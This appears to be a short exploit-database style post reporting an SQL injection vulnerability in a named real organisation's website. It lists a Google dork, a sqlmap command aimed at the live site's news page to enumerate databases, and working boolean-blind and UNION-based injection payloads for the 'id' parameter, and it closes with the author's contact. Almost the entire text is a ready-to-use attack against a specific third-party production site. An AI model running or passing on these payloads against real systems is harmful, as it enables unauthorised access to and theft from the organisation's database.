**************************** #Exploit Title: RWMC - SQL Injection vulnerability #Date: 2020-09-18 #Exploit Author: Mahdi Karimi #Vendor Homepage: http://www.rwmc.org.pk #Google Dork: news.php?id=11 #Tested On: windows 10 sqlmap: sqlmap -u "http://www.rwmc.org.pk/rwmcweb/Breaking-news.php?id=11" --dbs Testing Method; - boolean-based blind - UNION query Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=11' AND 8827=8827 AND 'bYin'='bYin Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: id=11' UNION ALL SELECT NULL,NULL,CONCAT(0x71706a6a71,0x624848414c72595066774d6b5178794b4d75706e466a46596a4b6d73717275624d50715051556358,0x71717a7871),NULL,NULL,NULL,NULL-- qgKV ************************************************** #Discovered by: Mahdi Karimi #Email : mjoker22mjoker22@gmail.com **************************************************